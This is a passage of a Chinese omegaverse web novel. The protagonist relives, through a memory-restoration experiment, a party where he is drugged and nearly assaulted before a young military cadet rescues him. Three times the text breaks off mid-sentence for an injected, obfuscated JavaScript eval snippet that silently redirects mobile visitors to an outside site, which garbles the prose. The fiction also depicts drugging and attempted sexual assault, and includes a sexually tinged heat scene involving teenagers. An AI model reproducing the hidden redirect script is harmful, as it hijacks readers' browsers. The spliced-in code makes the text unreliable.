而他坐的这个地方是一个有环形沙发和金色悬浮桌的半球形房间,水晶一样的透明墙壁包围着,不规则切面反射着微光,也反映出房间里的六七个模糊扭曲的人影,看起来像某种昆虫巨大的复眼。 一片放纵颓靡的气氛。 迟晓怔愣着。心脏怦怦乱跳,还没从跌落中恢复。 “别这么拘谨嘛,都出来玩了,放松点。”一个轻佻的男孩声音怼着他的耳朵喊。 迟晓被激得打了个抖。 一下子有什么从脑海深处破土而出。 他想起来了,这是他进菁雅学院第二年的时候。他参加了一个在高级俱乐部举办的贵族Omega聚会。 聚会具体发生了什么他已经想不起来了。总之不是什么愉快的事。这应该是最早被删除的记忆。 他只记得,室友听说他被邀请的时候,兴奋又嫉妒的语气。“老天啊,他们竟然邀请你了,这可不是谁都能去的。” 室友只是A级Omega,模样已经相当精致,最热衷的事是化妆和八卦。 “哪有不打扮的Omega,找个SS级Alpha结婚不香吗?读什么书。”他总这样说,还嘲笑迟晓考试第一名是书呆子,然后装模作样地捂嘴:“哦,我忘了,你和我们不一样。” 他这样的Omega渴望的是,能攀上最顶级的几个Omega组成的小团体,吸引高级Alpha的注意。 几乎所有的Omega都是这么想的。 菁雅学院把最好的老师调给三个Omega班级,但Omega都只关注一件事——如何更有魅力。他们不分男女,在同级别中攀比着妆容,打扮和所谓的优雅。 魅力的鄙视链从顶层的SS级下降到A级。如果你要融入Omega的圈子,就必须成为这链条中的一环并尽可能占据同级别的第一位。那样,将来配对Alpha时,便可以在同级别Alpha中随意挑选。 而初来乍到,背景比白板还空白的迟晓自然是落在了最底层。 他被基因优化的Omega的美丽轰炸得眼花缭乱,又被他们奢华的做派压得自渐形秽。以至于那阵子他躺在寝室床上,觉得自己都配不上学校发的天蚕丝锦被。 因此,他迫不及待地买了一堆瓶瓶罐罐往脸上抹,想把自己自然分化出的朴素容颜涂抹得更光鲜一些,但,不到一个月,他就知道自己无法融入那个圈子。 “上周我去米尔斯度假了,那颗星球的光之海我百看不腻。什么,你没听说过光之海?” “看到那辆杰伯顿最新款飞行器了吗?我的生日礼物。哈,你竟然不知道杰伯顿,哈哈哈!” 他们不再多和他说话,连还算和善的室友也一样。 当他为了还债,开始收费代写作业和跑腿后,便彻底被排挤出了交际圈。 他不在乎,至少能帮助母亲填补那个无底洞了。 每月他都能转给母亲一笔钱,一部分是他帮Omega们写作业,跑腿挣来的,另一部分则是他偷偷给人调配香水得来的。 网上交易,定制香味,他对气味天生敏感,能用廉价的原料配出高雅新奇的气息。 然而母亲并不开心,电话里永远问的都是,有没有交Alpha男朋友,家境好,毕业就能结婚帮还债的那种。 自然是没有。 被排挤的人没有社交圈。 再一年他就要毕业了,甚至连Alpha都没见过几个。在母亲的一再催逼下,他还是顺从了。 他需要融入这群Omega小团体。 “早跟你们说了,他胆小得像只兔子。”摇滚乐的轰鸣中,男孩的声音又响起来。 迟晓从回忆里回过神,听到一阵刺耳的笑声。 他转动眼睛,跟着曾经的自己混乱的目光,在人群中看见了一张极致柔美的面庞。 卷曲的银发云雾般裹着脸颊,湛蓝的眼眸缀在雌雄莫辨的精致容颜上,皮肤哪怕在昏暗中也好似发出光芒, 第一眼,迟晓觉得见到了精灵。 纪麟羽是少见的SS级的男性Omega,和自然分化的迟晓不同,经过基因优化的他像工艺品一样精致。 他是菁雅最美丽的Omega。 纪氏家族富可敌国,把他娇宠成了恣意妄为的孩子。 和大众面前高贵优雅的形象不同,此时,他坐在一张黑丝绒高背椅里,一只胳膊肘架在翘起的二郎腿上,手背托着下巴,以一种夹杂着嫌弃的傲慢姿态俯视迟晓。 “你真的是Omega吗?怎么这么丑?你这粉底比我的鞋底都厚,我看你还是当个Beta更适合。” 别的Omega们附和着,一阵装模作样的怜悯声包围了迟晓。 纪麟羽又晃着高脚杯:“你穿这身衣服就像...就像只大螳螂,算了,到我身边来,当我的陪衬你该感到荣幸。” 是你们说开化妆派对,要穿绿色的衣服,还要化浓妆! 迟晓听到当年自己的心声。 他记起来了。 原来这是个找乐子的派对,而他,就是给这群顶级Omega提供乐子的小丑! 似曾相识的屈辱感使他只想拔腿就跑,离开这个鬼地方,但他无法操控这具记忆中的虚假身体。 并且,不管有多么似曾相识,他对于下一秒会发生什么依然一无所知。只能被动地把曾经历过的又温习了一遍。 他看着自己被纪麟羽说出的一个数字攥住,乖乖走到纪麟羽旁边坐下。 用尊严换金钱,反正也不是第一次了。 他喝着纪麟羽叫人送来的紫色酒精。一边听着嘲讽,一边嘴里泛开酸苦。 时间很难熬,这些Omega除了喝酒,嘲笑他,就是谈论着一个人。 这个人刚夺得联盟青少年技击大赛未分化组的冠军,获得了有史以来的最高分。 下半年就十八岁了,到了Alpha分化的最迟年龄还没有分化,一定是双S级的Alpha。 最重要的是,颜值太赞了。 “他是我的!”纪麟羽宣布,他像收集珠宝般收集着仰慕者,但这个新秀不一样,是他志在必得的猎物。他又警告道:“等会他来了,你们都老实点。” 看来这次集会是为了这个人,他很快就要来了。 迟晓正木然地盯着眼前的紫色液体,等着聚会结束好收钱,却忽然感到气氛变了,他抬起头,看见三四个男孩走进房间。 气势张扬的姿态,高大的身形,让人一眼认出他们是贵族Alpha。 领头的男孩一头精心打理的卷发,笑得阳光明媚,一身黑皮衣上却垂着叛逆的金属链条。 “薛少来了!”有Omega打招呼。但大部分人没有反应,似乎不是他们要等的人。 一个名字随之进入迟晓的脑海。 ——薛枫,SS级Alpha,靠传媒起家的新贵薛氏家族的独子,也是娱乐圈炙手可热的新星。 应该只在光屏里见过的人,却不知为何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281327|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟晓感到发自毛孔的排斥。 薛枫一眼就看见纪麟羽身旁的迟晓,一双桃花眼立刻露出嫌弃,上下扫了几眼,轻笑:“这谁啊。” “不是你要见的吗。”纪麟羽懒洋洋道。 男孩疑惑了一会,继而睁大眼。 “那个自然分化的O?就是他?”夸张得像见到了个癞□□。 “是啊,薛少以为他有多美吗?本来就是C级而已,怎么能和我们麟麟比。”一边的Omega笑道。 另一个短发O凑过来。“听说你们Alpha都对他很好奇呀,有人想知道他的信息素什么味,有人打听他平时去哪做什么,还有人想……尝尝他?” “没有没有。”薛枫哈哈笑着,他玩得开,听出说的是自己也不当回事。“长这样,谁下得去口啊。” 纪麟羽百无聊赖地翘起二郎腿。 “带都带来了,试试呗。” 尝尝?试试?迟晓感到震惊。 是他想的那个意思吗? 这些尊贵的少爷们,私底下竟是这副模样! 而且,这是违反Omega保护条例的吧! 但想起纪麟羽的家世,他的父亲能参与编撰联盟法律,欺负一个一文不名的Omega似乎算不得什么。 当时的自己似乎也意识到危险,目光惊慌地来回看着两人。 但纪麟羽看都不看迟晓一眼,又问:“你要的人我带来了,我要的呢?” “哦,”薛枫这才想起来似的,弯起眼睛。“在路上了,马上就到。阿麟放心,我还能骗你吗?” 薛枫讨好的语气,让纪麟羽看上去很受用。 他眼神颇有含义地落在迟晓手里的饮料上,冲薛枫抬抬下巴。“那就好,这人就当赏你了。” 迟晓心里一抽。 他从旁观的视角看得分明,那杯饮料肯定有问题,可当年的自己太过单纯,完全不知道已被人算计,还傻傻地问纪麟羽是什么意思。 快跑啊!傻瓜! 迟晓恨不能喊出声。 薛枫已经向他勾手。“过来,我告诉你什么意思。” 迟晓没动,跟薛枫来的另一个Alpha直接拽住他的胳膊。 直到这时,他才反应过来,一把甩开Alpha,向门口跑去。 “站住!” 几个人追了上来。 少年的迟晓不顾一切地冲向包间大门。 正当他要推开那扇沉重的半透明水晶门时,叮地一声,门从外面被拉开了。 他径直冲出去,却和一个正迈步进来的人撞了个满怀! 来人比他高大不少,胸膛像一堵坚实的围墙,被撞到纹丝不动,迟晓反倒被冲击得向后摔去。 眼看要摔在地上,他被牢牢揽住后背。 那人反应奇快地拉住他,迟晓顺着惯性跌进他怀里,几乎是被半抱着,鼻尖贴着胸口,年轻男孩的清爽气息钻入鼻腔。 是任何香水无法比拟,和任何信息素都全然不同的,人体本身荷尔蒙的味道。 ——清冽如万米高空的风,朝气蓬勃如早春刚融雪的山林。 除了没有Alpha的信息素功能,比某些Alpha的信息素味道还令人舒服。 现在的迟晓已经研制过各类性激素,仍不免惊讶。 他随着当年自己慌乱的目光,看清了那人。 少年眉峰如剑,黑眸中气势迫人,显出天生的傲慢与处变不惊。 刚硬英朗的线条已经初见端倪。 迟晓心中大惊。 这,这是那个抓住他的军人! 5. 第 5 章 准确地说,是那个军人少年时的模样。 五官是极端正的帅气,虽然稍显稚嫩,但倨傲的神态如出一辙。 从气息判断,少年还没有分化。 看上去比迟晓还小几岁,个子却高出许多,气场比同龄的Alpha都要强大,不容忽视。 两人在突然的贴近中四目相对。 迟晓感到年轻的自己睁大了眼睛,心脏忽地乱了一拍。 这个少年身上清爽的气味,让年轻的他怔住了,渐渐地,脸上泛起红晕。 可少年在看清他的第一刻,便蹙起眉头。 或许是良好的家教,他的嫌弃和厌恶被藏在眼眸深处,但迟晓还是看出来了。 他来不及难过,就被追来的Alpha一把拉开。 薛枫匆忙拍掉秦瀚洋深绿色夹克前襟上的霉菌似的白印,那是迟晓蹭上去的粉底,把金色老鹰徽章都染灰了。 秦瀚洋眉头拧得更深,没有再看迟晓一眼,被一众人簇拥着往里走。 “瀚洋,你可来了,再不来,阿麟要把我生吞了!”薛枫边热络地拉着秦瀚洋,边向同伴使了个颜色。 一个瘦高Alpha把迟晓拉进包间里的小套间。 套间与外面的水晶墙壁不同,十分私密,灯光晦暗,还摆了一张复古雕栏的床,显然不是给客人休息的。 迟晓一看见那床,头皮发麻,更加用力挣扎。男生啧了一下,索性抽出迟晓裤子上的细皮带,将他双手反绑在床头雕花栏柱上。 Alpha力量奇大,制服他轻而易举,却突然停了下来。 “仔细看看,你长得也还行。”那人捏住迟晓的下巴。“乖乖在这等着,一会枫哥要是看不上你,哥哥疼你。” 那人找来块布料堵上迟晓的嘴,又在他脖子上使劲嗅了一口,才推门离开。 迟晓看着少年的自己颤抖地缩在床边地上,无助又绝望的感觉涌上心头,时隔多年,再次令他窒息。 接下去是被侮辱还是什么更糟的事,他不知道,也改变不了。 「都过去了,是过去的事,伤害不了我…… 」他默念着,强迫自己抽离。 外界的欢声笑语透过没关好的门缝传了进来。 “什么生吞,我哪有那么可怕?明明是你们来晚了呀。”是纪麟羽的声音,夹着嗓子奶油一样甜腻。别的Omega也跟着起哄。 “训练延时,走不开。”秦瀚洋说。 他吐字端正清澈,自带与生俱来的高贵,和这里的一切格格不入。 气氛有些尴尬,薛枫忙插话:“黑鸮的课程也太变态了,只要训不死,就把人往死里训。不过我听说,瀚洋你都是第一名,把那帮Alpha气得够呛,是不是。” 迟晓知道,黑鸮军事预备学院是联盟培养军事精英的基地,只有SS级的alpha和具有同样潜力的未分化少年才能进入。 比如,比这包间里的所有Alpha气势都更强的秦瀚洋。 又帅,又强,又出身顶层,注定会分化成强大Alpha的少年,多么新鲜刺激,难怪纪麟羽一定要拿下他。 薛枫又给几人互相介绍。 一般未婚A与O之间的聚会,往往都是Omega为自己挑选未来伴侣的相亲会,因为Omega太过稀少,Alpha们为获得他们的青睐,无不趋之若鹜,尽力表现。 可秦瀚洋似乎心思完全不在这上面。他礼貌而疏离地认识一个个Omega,只对纪麟羽稍微客气些。 双S级的O,美貌家世都匹配,这两人互相吸引也不奇怪。迟晓想到那军官强势的姿态,只觉得这两人是一丘之貉。 都是仗势欺人的家伙。 薛枫介绍完了,气氛却没有想象得热烈,就听秦瀚洋问:“刚刚撞我的那个人呢?” 迟晓竖起耳朵。 本来使劲要挣脱皮带的的少年迟晓,听到这一句也蓦地停止动作。 外间一阵尴尬的沉默,薛枫还没说话,纪麟羽接口。 “瀚洋哥哥,你说那个自然分化的Omega吗?听说你们Alpha对他都挺好奇的,我带来给你们瞧瞧,没想到土包子没见过世面,喝几口酒就醉了。” 薛枫也说:“我让他到别处待着,别碍眼。才C级,自然分化也太劣质了,跟阿麟一个天一个地。是吧,瀚洋。” 秦瀚洋没说话,迟晓只听到一声不轻不重的笑。 听到这一声笑,少年迟晓被皮带勒青的手微微颤抖,他将头埋得更低,手指也攥紧了,指甲掐进手心。 迟晓一下子记起来,秦瀚洋的笑,是压垮当时自己的最后一根稻草。 他本以为新来的少年和那些人不一样,能救下自己,却还是被嘲笑了。 那一刻,突如其来的无地自容,屈辱,羞愤涌上心头。 他只是等级低,凭什么就要被这些人当做玩物,耍弄欺辱! 回忆这一切的迟晓被同样的感情折磨。 时隔多年,他又身临这可恶的场景,抽离的一半冷眼旁观,觉得可悲,另一半却体验着记忆中的痛苦。 怪不得,怪不得他要删除这段记忆。被人当做物件评价,当做小丑嘲笑,谁要记得这种事! 这究竟是什么实验,为什么要恢复他个人的回忆?这是侵犯隐私的! 他想立刻停止实验,但想到那张通缉令,想到自己签下的协议,又咬牙忍住了。 腺体研究所的实验品没有隐私,越高密级的越接近物品。当然也有高额的回报。 迟晓的回报,就是免于刑责。 这是他必须忍受的。 接下去的记忆模糊了起来。 少年的自己将泪水化为愤怒,拼命要挣脱皮带。 手腕磨破了皮,骨头挤压到极致,终于解放了双手。 可当他扯出嘴里的布条,起身要跑时,才发现,不仅身体发热,双腿也使不上力气,脑中更是一片晕眩。 是紫色饮料里的药起作用了。 他勉强走了几步,就倒在暗红玫瑰纹路的地毯上,后颈腺体沸水般滚烫,情热期被强行激发,几不可闻的气息从颈后漫延开来。 那是淡如清水的气味,除了水气外大约只有一点点清凉,和些微的潮湿感。 C级的Omega连味道都单薄到乏善可陈。 越是高级的Omega,信息素越会让闻到的Alpha陷入疯狂,一心只想占有和掠夺。因此Omega独自外出是极端危险,且被禁止的事。 而迟晓是最低等的C级,连测试他性别的专家都说,他的信息素几乎测不出来,不具备吸引力。 还好,这么稀薄的味道也不会引来什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281328|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。少年的迟晓暗自庆幸着。 抑制环太昂贵,他买不起,抑制剂也是能不用就不用,更没有随身携带的习惯,从来都是硬撑过情热期。 现在,他照例用牙齿咬住手背压抑呻吟,希望没人发现他,等药效挺过去就好。 可事与愿违,不知什么时候,外间Alpha的声音忽然安静了。 接着,是一个男生疑惑的声音。 “什么气味?你们闻到了吗?” 又一个男生难耐地说。 “好像……是Omega的信息素!你们谁,没带抑制环吗?” “和Alpha见面不带抑制环,太……太大胆了吧。”另一个男生说,声音已经有点哑。 Omega们面面相觑,“你们在说什么呀?我们都带了呀?” 紧接着,急促的脚步声响起。 有人冲了过来,一把打开小包间的门。 是薛枫。 看来他终于想起自己和纪麟羽干了什么。 他只探头看了一眼,立刻重重将门关上。 他忍耐的表情几乎是咬牙切齿。 迟晓听到他大声道:“Alpha都打上阻隔剂,快点!” 但已经来不及了。 刚才他开门的一刹那,迟晓看见包间的水晶墙壁上,无数身影正在靠近。 那是俱乐部里正纵情享乐的Alpha们! 酒精,迷幻的音乐,为着享乐而来的人群,空气里本就充斥着放纵的气息,在这里散出Omega的信息素,就像往炸药堆里扔火把。 大部分的Alpha并不会随身带着阻隔剂。因为他们遇见Omega的机会是零。 所以,当房间外的Alpha被诱人的味道吸引过来,透过磨砂玻璃发现这里竟然有好几个Omega时,都红了眼。 很快,外面传来混乱的重响。 吼叫声,撞门声,玻璃碎裂声,Omega刺耳的尖叫声,场面彻底失控! 少年迟晓并不清楚发生了什么,他只看见房门猛地弹开,纪麟羽跌跌撞撞冲进来。 咔嚓一声。 混乱中不知谁碰到了电源,整个俱乐部里的灯光全部熄灭,四周陷入一片黑暗。 远处一盏应急灯自动亮起,模糊的白光照出纷乱的人影。 他们正争先恐后往门里挤! 迟晓感到背上一痛,是纪麟羽狠狠把他推了出去,自己躲进床底,打开通讯器呼叫保镖。 迟晓摔在地上。 他被不停上涌的腺体激素折磨,耳中是杂乱的叫喊和拳头砸在身体上的重击声,头顶人影乱晃,各种气味的Alpha信息素刺激着鼻腔,仿佛跌进暴风雨中的海洋。 在那些Alpha为争抢他打得你死我活时,他抱着头,蜷缩在地上,逃又逃不掉躲也躲不了,慌得不知如何是好。 脚步乱响,有人靠近了! “抓住你了,宝贝!”男人兴奋地□□,释放出的浓烈的Alpha信息素,伸手狠狠掐住了迟晓的手腕。 “不……!” 迟晓正要挣扎,一个高大的人影忽然出现。 砰! 只听一声闷响,那人只一拳就将Alpha砸晕。 他身上的气味清爽干净,一只手就把迟晓拉了起来,说:“走!” 6. 第 6 章 那人的手大而有力,迟晓被他拉起来,见他一脚踹翻一个扑上来的纹身壮汉,拖着他冲出了房间。 俱乐部里已彻底混乱。 Alpha们像疯狂的兽群,撞开人群,追着诱人的气味而来。空气里飘着他们释放的各种各样的激素气味,怪异地混杂在一起,熏得迟晓立刻捂住鼻子。 他被拉着奔跑,时不时停顿片刻,看到救他的人又干翻了一个拦路者。 他们穿过舞池刺目的光弧,跑进吊满空酒瓶的狭窄通道,在流转的光影和玻璃叮当脆响中奔跑。 大约跑了很久,又好像只有几分钟。 迟晓的后颈越发滚烫,喘息又急又重,双腿发软,连呼吸都是热的。 就在他瘫倒之前,一扇小门砰地一下被撞开,他被拽着冲了出去。 午夜清冷的空气涌入肺部,缓解了灼热。 铁门在身后咣当一下关上,隔绝了混乱。 他们出来了! “你没事吧?”救他的人这时回过头来,面孔年轻俊朗,眸子在月光下像闪烁的星。 但那星光几乎是立刻就消失了。代之以惊讶和不悦。 “怎么是你?” 迟晓:……? 他还恍惚着,不明白发生了什么。 “我明明看见他进屋了!”少年自言自语,快步走回小门,似乎想丢下刚救出来的人,再次返回。 但他没有贸然行动,而是转头问迟晓:“纪麟羽呢,他是不是和你一起躲在屋里?” 迟晓眨了眨眼,终于意识到,这人是救错人了。 他要救的不是自己,而是躲进屋里的纪麟羽。 胸口像被不轻不重挨了一下。 迟晓嘴唇动了动,感觉自己即多余又无关紧要。 “问你话呢,吓傻了?”少年皱起眉头,语气十分着急。 迟晓这才开口。 “他,他被保镖救走了。”他说。跑出来时,他看见纪家五六名人高马大的保安手持电棍冲开人群,冲进那间小房间。 “真的?” 迟晓把看见的一五一十说出来。 纪家这样的贵族,宝贝Omega出门,保镖都要随身保护,且都打过抑制剂。 五六个训练有素的职业保镖,足够把所有Omega都救出来了。 秦瀚洋同样出身贵族,自然明白。 他烦躁地抓了一把头发,看样子是不打算再回去了。 停了会,目光又落在迟晓身上。 迟晓看得出来,他不太高兴。大概认为救错人是迟晓害的。 应该会把自己丢在这里走掉吧。少年迟晓这么想着。 那人却开口了。 “你很难受吗?” 他没分化,闻不到Omega的信息素。 迟晓没有回答,他已经站不住了,但不想显露狼狈,一直硬撑着。 他很难受。后颈很热,胸口也很堵,今晚他就不应该出来,现在好了,他要在一个没分化的陌生少年面前发.情了。 他只想一个人待着,躲到没人看见的角落,那边黑漆漆的墙角就不错。 但他走不过去,只能蹲下.身子,把自己尽可能缩小。 见他不回答,少年走过来。鲜亮的运动鞋出现在视野中。 “你看起来不太好。” “你...有没有Omega的抑制剂?”迟晓闷闷地问。 “你觉得我会有吗?”少年说,好似这话冒犯了他。 迟晓这才意识到这人高高在上的身份,囧得把头埋在臂弯里。他已经腿软得站不起来了。仅剩的力气用来强忍住情.潮和快溢出的呻·吟。 这个小巷子里空无一人,很静也很冷,只有他急促的呼吸声尤为刺耳。 就这样熬过去吧,他什么也顾不上了。迟晓迷迷糊糊地想。 下一刻,忽然身体一轻,他已经被少年拉起来,一只手扶住他的背。 “我先送你回去,信息素再引来Alpha就不好办了。”秦瀚洋语气坚定沉稳,托住他的臂膀更是有力得让迟晓吃惊。 他想说,他的信息素很淡,引不来人。哪怕这少年现在就分化成Alpha也不会受到什么影响。 但他已经彻底迷.乱了,嘴巴张开就会发出奇怪的声音。 鼻尖飘进一点味道,不是信息素,是那男孩子身上特有的清爽味道,他忍不住伸手勾住那人肩膀,把脸靠了过去。 接下去的记忆又模糊了。 他似乎被抱进了一个软椅里,什么东西斜勒住他胸口,他难受地推搡,又抓紧了什么不肯放手。 少年语气不太好地要他松手,他还仰起头,哀求。哀求什么他自己都听不清,被拒绝后还哭了。 一直哭一直哭…… 热度如火,从身体深处烤着他,耳朵里轰鸣阵阵,大脑一团浆糊。 好可悲…… 重温记忆和痛苦的迟晓忍不住想。 他等待着,终于视野又清晰了,是过去的自己恢复了意识。 情.热已经褪去,他低头,发现自己的手里牢牢拽着一截白色布料,已经被扯变形了,还有几块脏污,是被他蹭上去的妆。 那是少年的白色体恤! 他从迷茫的状态里彻底清醒,赶忙收回手,一抬眼对上少年的眼睛。 秦瀚洋甚至没有正眼看他,目光从眼角向下撇来,不耐,厌烦,更多的是傲慢和冷漠。 “到你学校了。”他说,眼神漠然地移开,不想再多看一眼似的。 “啊……”,迟晓转头,看到不远处Omega宿舍屋顶的天使雕像,在晨光里微笑。 竟然已经到早上了。 再看自己,一身是汗。 裤子有些潮湿,可能连座椅都沾脏了。车里也都是奇怪的香味。 好羞耻……! 太羞耻了! 他脚趾蜷缩,羞恼地只想赶紧逃离这里。 怪不得男生那样看他。 多恶心人!换做是谁,再好的涵养也会生气吧。 迟晓眼底发酸,羞得快流眼泪。 他语无伦次地道歉又道谢,慌慌张张就要去拉车门。 却发现这门上没有拉手。 他不会开。 在他慌乱地到处摸索试图开门时,一只手从他身后伸了过来,在窗前某个位置点了一下。 门开了,迟晓羞耻地无地自容,逃一样地跳了出去,差点绊了一跤。 他再回头要关车门,就见车门已经自动关上了。发动机声骤然而起,气流吹乱了他的头发。 他吓得后退,视线里是缓缓升起的飞行器流线型的巨大机身。 黑镜般的机舱门上倒映出自己的影子。 一脸浓妆彻底花成一团,红肿的眼睛和鼻子,淡绿色衬衫和黑色长裤裹着瘦削的身体,像个怪异的小丑,狼狈之至。 好丑…… …… 眼前突然亮起一片白光,周遭景物淡去,实验结束了。 在等待仪器打开的时候,迟晓已经醒了,他在一片黑暗中睁开眼,脸上两条湿湿的水迹,心脏怦怦跳动,头部又麻又凉,就像头骨与大脑之间夹着一层冰。 他非常疲劳,同时又非常悲伤,非常……震惊。 原来是这样! 他和这个秦瀚洋是这样认识的! 太丢脸了。不,岂止是丢脸。是耻辱! 他能觉察到,少年的自己见到秦瀚洋的第一眼就产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281329|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生好感。这好感无关情爱,看着顺眼也罢,频率相合也好。可正因为如此,这人傲慢又冷漠的眼神更让他难受。 这是最糟糕的相遇。迟晓想。 现在的秦瀚洋依然傲慢,眼中没了嫌弃,却更让他害怕。 所以到底发生了什么事,让他那么地……恨他? 迟晓完全没有头绪。 记忆的神经网络随着治疗在自发连接,更多回忆进入脑海。 这次事件之后,纪家压下了相关新闻,那几个Omega只被学校象征性批评了几句,只有没背景的自己,被记过加扣学分,全校批评。 他彻底放弃了融入Omega小团体的想法,转而专心于学业。 关于他攀上一个神秘大佬的流言在学校里传得沸沸扬扬的时候,他才知道,那天载他回来的飞行器就是传说中的杰伯顿飞行器,还是最新款。 那又怎么样呢?跟他一点关系也没有。他懒得解释,随便他人指指点点。 反正,他和那个贵公子不会再有交集。 嗡——,机器打开了,迟晓也强迫自己从回忆的苦闷中抽离。 没必要为过去的事难过,反正,他不会再见到那个军官了。 —— 秦瀚洋目不转睛地盯着眼前的光屏。屏幕里,雪白的记忆导入仪正缓缓打开舱门,像裂开的珍珠。 这台最尖端的仪器是他费了不少功夫从中央医院借调出来的,全联盟也只有三台。 删除记忆的原理是把连接相应记忆的神经突触破坏,恢复记忆则相反,在深度麻醉下由乳胶状的微粒子机器人进入脑部促进突触的产生。 如果相关记忆太久远可能会找不回来,就需要一个有相同记忆的“向导”来引导机器人。 所幸迟晓忘记的都和他有关,秦瀚洋义不容辞地抽取了自己的记忆,注入迟晓脑中,担当起向导。 屏幕里,迟晓正钻出记忆导入仪,动作比当年钻出他的杰伯顿ZS1灵巧许多。 那一晚,他将ZS1停在菁雅学院Omega宿舍那过于华丽的大门前。发动机的轰鸣一停止,就听到副驾上清晰的声音。 压低的呜咽和夹着黏腻鼻音的呻.吟,又轻又甜,小奶猫爪子一样直挠到他心里。 当时的他还是个毛头小子,只关心机甲训练,对感情和欲.望都不感兴趣,若不是家里要求他和Omega多接触以促进分化,他根本不会接受聚会的邀请。 可此刻听到这个声音,他的背上忽然就窜起一阵酥麻。 这是从未有过的感觉,他甚至想让这个Omega哼得再大声点。 可一转头,什么绮丽的幻想都没有了。 这人太难看了。妆容完全掩盖了原本的模样,哭花了之后更加不能看。 他这辆宝贝座驾的副驾位置还是第一次载人,真是醉了。 哗众取宠的趋炎附势之辈,他从小到大见得多了。 他送他回来,不过是因为他的教育不允许他丢下发.情的Omega不管。 如果这人想借此与他扯上关系,那就是自取其辱。 看着窗外浓重的夜色,他揉了揉额角。 他还没分化,没上过A/O生理课,不知道Omega一次易感期要多久,总不会要在这里耗到早上吧。 他又撇了一眼这个Omega。 青年很难受的样子,纤细的脖颈不住扭动。露出锁骨上方的一点红痣,在白到透明的皮肤上过份惹眼。 他目光停留在那一点红艳上,略微久了些。 “嗯……” Omega婉转的声音拉回他的注意力,那两条修长的腿蜷缩着磨蹭,就像讨人爱抚的猫。 少年的喉间忍不住滚动了一下。 7. 第 7 章 甜蜜的声音,白皙的肌肤,甚至无法形容的让人上头的气息,一起织成奇异的网,在狭小车厢中包围住没分化的少年。 某种尴尬又蠢蠢欲动的感觉涌了上来,秦瀚洋自己也说不明白。 亲眼看见Omega的情.热期,对于那方面一片空白的少年人来说,就像开启了新世界的大门,让他心跳加速。 但当他看见迟晓裤子后面一片暗色水迹时,这种感觉就烟消云散了。 哪来的水! 秦瀚洋顿了一秒,脸色彻底变了。 以为他的宝贝飞行器的座椅沾上了什么脏东西,秦瀚洋一脸痛苦地扶住额头。 一时间对这个Omega只有厌烦。 他飞快地打开窗户探出头,不想吸入一点这个人的信息素,哪怕作为Beta他闻不到。 眼看离天亮还早,秦瀚洋被Omega的声音扰得心浮气躁,实在受不了,找到医药箱翻出了一片助眠药片。他忍住厌恶凑近些,把药片塞进Omega嘴里,之后立刻用纸仔仔细细擦干净手指。 黏黏糊糊的声音总算停了。他倒回座椅,发现Omega又拽住了他的衣服,这次怎么也扯不开。 唉……他捂住眼长叹了一口气。 回想到这里,秦瀚洋苦笑着摇摇头。 当时他哪里想得到,以后为了闻到这个Omega的信息素动了多少脑筋,又是多么渴望能亲近他哪怕一点点。 “滴滴——” 视讯请求的声音响起,是江教授。同时,秦瀚洋的光脑提示收到了新文件。 是迟晓的记忆分析报告。 “知道你等着,报告一出我就带过来了。”左边光屏上,江教授呵呵笑着,“还不错,导入过程很顺利,捕捉到几次抵触的脑波,但他都克制住了。” “他会痛苦吗?”秦瀚洋问。 “抵触的时候吗?肯定会的,但是,这孩子从以前就很懂事。我告诉他抗拒会影响实验数据,他就知道要配合。” 秦瀚洋不再询问,默然查阅报告。 报告显示,当前导入进度5%。 要完全恢复还早得很,他关闭报告,问:“用来移植的腺体准备得怎么样了?” 江教授搓搓手。“正要跟你说呢。我用了最好的培养仪,从他颈后刮下的细胞,只用五天时间就长到了正常腺体的50%,再过五天就可以移植了。” “但是……”他严肃起来。“考虑到他的腺体之前没有清洗干净就切除了,所以培养体不是完全未标记的状态,再次清洗很麻烦也费时间。” 秦瀚洋想都没想。“不用清洗。” 江教授:“……你不介意?” 通常腺体移植手术的委托人都会要求移植完全干净的腺体,因为可以享受初次标记时的极致愉悦。他以为秦瀚洋也一样。 “介意什么,之前标记他的也是我。他忘了,他的腺体不能忘。”秦瀚洋说。 “……行吧,”江教授点点头,“我总是低估了你们这些Alpha的强势和独占欲。” 秦瀚洋把这句话当成恭维。 “正好,移植手术后,你就可以用你的信息素缓解他的疼痛,到时候你必须时刻陪在他身边。”江教授又说。 “这是自然的。这五天里,记忆导入也不要停。” “放心,一切都会尽快进行,他的情况我也会随时向你报告。哦对了,过几天我会回中央星系一趟,准备手术需要的药品。” “我会为您准备飞船,还有,记得保密。” “必须滴。”江教授挤了挤眼睛。 